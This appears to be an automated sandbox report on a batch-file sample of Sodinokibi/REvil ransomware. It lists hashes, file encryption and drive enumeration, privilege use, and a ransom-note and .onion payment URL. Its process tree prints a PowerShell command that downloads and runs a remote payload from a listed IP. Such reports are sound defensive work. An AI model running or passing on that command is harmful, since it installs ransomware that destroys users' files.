Analysis
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max time kernel
28s -
max time network
69s -
platform
windows10_x64 -
resource
win10 -
submitted
18-10-2020 05:10
Static task
static1
Behavioral task
behavioral1
Sample
7d1eec1c6975c5a77516623c815be642.bat
Resource
win7v200722
Behavioral task
behavioral2
Sample
7d1eec1c6975c5a77516623c815be642.bat
Resource
win10
General
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Target
7d1eec1c6975c5a77516623c815be642.bat
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Size
221B
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MD5
48add727eaae6f420a9c27eb1d60e60b
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SHA1
b6963e1cd892f7b1ef4fb1328675a7bdb54b848e
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SHA256
445563cddcd7872b33085dee21623dfafe822daa94dff0eecb32fd8fe409c31c
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SHA512
f1e1a38ec0e9565df933e46ba35f15a841d5352f699ca6e995226cfb31d5486ea1f044d05ec5e93234ef8f8726b164cad3bba2b3dfba281089d70527822f8805
Malware Config
Extracted
http://185.103.242.78/pastes/7d1eec1c6975c5a77516623c815be642
Extracted
C:\6sqbpj9r-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B9D15C2C4EA8CCAF
http://decryptor.cc/B9D15C2C4EA8CCAF
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 3528 powershell.exe -
Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File renamed C:\Users\Admin\Pictures\DismountEdit.png => \??\c:\users\admin\pictures\DismountEdit.png.6sqbpj9r powershell.exe File renamed C:\Users\Admin\Pictures\MoveSearch.tiff => \??\c:\users\admin\pictures\MoveSearch.tiff.6sqbpj9r powershell.exe File renamed C:\Users\Admin\Pictures\RequestRepair.crw => \??\c:\users\admin\pictures\RequestRepair.crw.6sqbpj9r powershell.exe File renamed C:\Users\Admin\Pictures\SelectRedo.tif => \??\c:\users\admin\pictures\SelectRedo.tif.6sqbpj9r powershell.exe File renamed C:\Users\Admin\Pictures\StartExit.tif => \??\c:\users\admin\pictures\StartExit.tif.6sqbpj9r powershell.exe File renamed C:\Users\Admin\Pictures\WaitCopy.png => \??\c:\users\admin\pictures\WaitCopy.png.6sqbpj9r powershell.exe File opened for modification \??\c:\users\admin\pictures\MoveSearch.tiff powershell.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
powershell.exedescription ioc process File opened (read-only) \??\I: powershell.exe File opened (read-only) \??\U: powershell.exe File opened (read-only) \??\Z: powershell.exe File opened (read-only) \??\B: powershell.exe File opened (read-only) \??\E: powershell.exe File opened (read-only) \??\L: powershell.exe File opened (read-only) \??\N: powershell.exe File opened (read-only) \??\R: powershell.exe File opened (read-only) \??\T: powershell.exe File opened (read-only) \??\W: powershell.exe File opened (read-only) \??\Y: powershell.exe File opened (read-only) \??\A: powershell.exe File opened (read-only) \??\K: powershell.exe File opened (read-only) \??\P: powershell.exe File opened (read-only) \??\Q: powershell.exe File opened (read-only) \??\S: powershell.exe File opened (read-only) \??\V: powershell.exe File opened (read-only) \??\X: powershell.exe File opened (read-only) \??\F: powershell.exe File opened (read-only) \??\M: powershell.exe File opened (read-only) \??\J: powershell.exe File opened (read-only) \??\O: powershell.exe File opened (read-only) \??\D: powershell.exe File opened (read-only) \??\G: powershell.exe File opened (read-only) \??\H: powershell.exe -
Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\54nd49.bmp" powershell.exe -
Drops file in Program Files directory 35 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\ResolveEnter.xlsm powershell.exe File opened for modification \??\c:\program files\SetWatch.asf powershell.exe File opened for modification \??\c:\program files\ShowOpen.aif powershell.exe File opened for modification \??\c:\program files\UseGrant.css powershell.exe File opened for modification \??\c:\program files\CheckpointResolve.php powershell.exe File opened for modification \??\c:\program files\OpenRepair.xps powershell.exe File opened for modification \??\c:\program files\OptimizeUndo.odt powershell.exe File opened for modification \??\c:\program files\RepairUnlock.vdx powershell.exe File opened for modification \??\c:\program files\SendRepair.raw powershell.exe File opened for modification \??\c:\program files\StopStart.dxf powershell.exe File opened for modification \??\c:\program files\UndoEdit.inf powershell.exe File opened for modification \??\c:\program files\CompressResolve.vbe powershell.exe File opened for modification \??\c:\program files\MountRemove.aiff powershell.exe File opened for modification \??\c:\program files\ReadRequest.mhtml powershell.exe File opened for modification \??\c:\program files\RenameEdit.rm powershell.exe File opened for modification \??\c:\program files\DisableStep.jpeg powershell.exe File opened for modification \??\c:\program files\ExitConvertTo.xml powershell.exe File opened for modification \??\c:\program files\CloseConfirm.crw powershell.exe File opened for modification \??\c:\program files\MergeHide.DVR-MS powershell.exe File opened for modification \??\c:\program files\NewInvoke.AAC powershell.exe File opened for modification \??\c:\program files\PopNew.pcx powershell.exe File created \??\c:\program files (x86)\6sqbpj9r-readme.txt powershell.exe File opened for modification \??\c:\program files\ConfirmInvoke.ini powershell.exe File opened for modification \??\c:\program files\SaveBlock.xlt powershell.exe File opened for modification \??\c:\program files\OutSave.vbs powershell.exe File opened for modification \??\c:\program files\RequestRemove.inf powershell.exe File opened for modification \??\c:\program files\ConnectOut.vstm powershell.exe File opened for modification \??\c:\program files\ExpandBlock.aifc powershell.exe File opened for modification \??\c:\program files\LockNew.vbs powershell.exe File opened for modification \??\c:\program files\LockTest.snd powershell.exe File created \??\c:\program files\6sqbpj9r-readme.txt powershell.exe File opened for modification \??\c:\program files\ExpandClear.xla powershell.exe File opened for modification \??\c:\program files\UseSkip.jfif powershell.exe File opened for modification \??\c:\program files\ExitMerge.TS powershell.exe File opened for modification \??\c:\program files\UnpublishPop.tmp powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 3528 powershell.exe 3528 powershell.exe 3528 powershell.exe 3528 powershell.exe 3528 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3528 powershell.exe Token: SeDebugPrivilege 3528 powershell.exe Token: SeTakeOwnershipPrivilege 3528 powershell.exe Token: SeBackupPrivilege 2680 vssvc.exe Token: SeRestorePrivilege 2680 vssvc.exe Token: SeAuditPrivilege 2680 vssvc.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 3536 wrote to memory of 3528 3536 cmd.exe powershell.exe PID 3536 wrote to memory of 3528 3536 cmd.exe powershell.exe PID 3536 wrote to memory of 3528 3536 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7d1eec1c6975c5a77516623c815be642.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3536 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/7d1eec1c6975c5a77516623c815be642');Invoke-DNAZQNSLHKZYKP;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3528
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2680
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/3528-0-0x0000000000000000-mapping.dmp
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memory/3528-1-0x00000000731D0000-0x00000000738BE000-memory.dmpFilesize
6.9MB
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memory/3528-2-0x0000000004F00000-0x0000000004F01000-memory.dmpFilesize
4KB
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memory/3528-3-0x00000000078D0000-0x00000000078D1000-memory.dmpFilesize
4KB
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memory/3528-4-0x0000000007840000-0x0000000007841000-memory.dmpFilesize
4KB
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memory/3528-5-0x0000000008030000-0x0000000008031000-memory.dmpFilesize
4KB
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memory/3528-6-0x0000000008180000-0x0000000008181000-memory.dmpFilesize
4KB
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memory/3528-7-0x0000000008330000-0x0000000008331000-memory.dmpFilesize
4KB
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memory/3528-8-0x00000000082F0000-0x00000000082F1000-memory.dmpFilesize
4KB
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memory/3528-9-0x0000000008700000-0x0000000008701000-memory.dmpFilesize
4KB
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memory/3528-10-0x0000000008A20000-0x0000000008A21000-memory.dmpFilesize
4KB
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memory/3528-11-0x000000000A150000-0x000000000A151000-memory.dmpFilesize
4KB
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memory/3528-12-0x00000000096E0000-0x00000000096E1000-memory.dmpFilesize
4KB